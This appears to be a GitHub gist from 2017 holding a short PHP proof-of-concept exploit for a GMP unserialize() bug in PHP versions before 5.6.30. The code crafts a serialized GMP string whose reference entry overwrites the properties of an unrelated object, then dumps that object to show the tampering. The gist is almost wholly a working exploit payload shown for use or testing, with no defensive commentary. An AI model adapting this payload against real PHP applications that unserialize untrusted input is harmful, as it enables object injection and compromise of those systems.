Created
February 10, 2017 15:16
-
-
Save allyshka/14559b28993b3daec63e90335f1a7ad3 to your computer and use it in GitHub Desktop.
PHP < 5.6.30 GMP unserialize() test exploit.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class obj | |
{ | |
var $test; | |
function __wakeup() | |
{ | |
$this->test = 1; | |
} | |
} | |
$obj = new stdClass; | |
$obj->var1 = 1; | |
$obj->var2 = 2; | |
$inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}'; | |
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; | |
$x = unserialize($exploit); | |
var_dump($obj); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment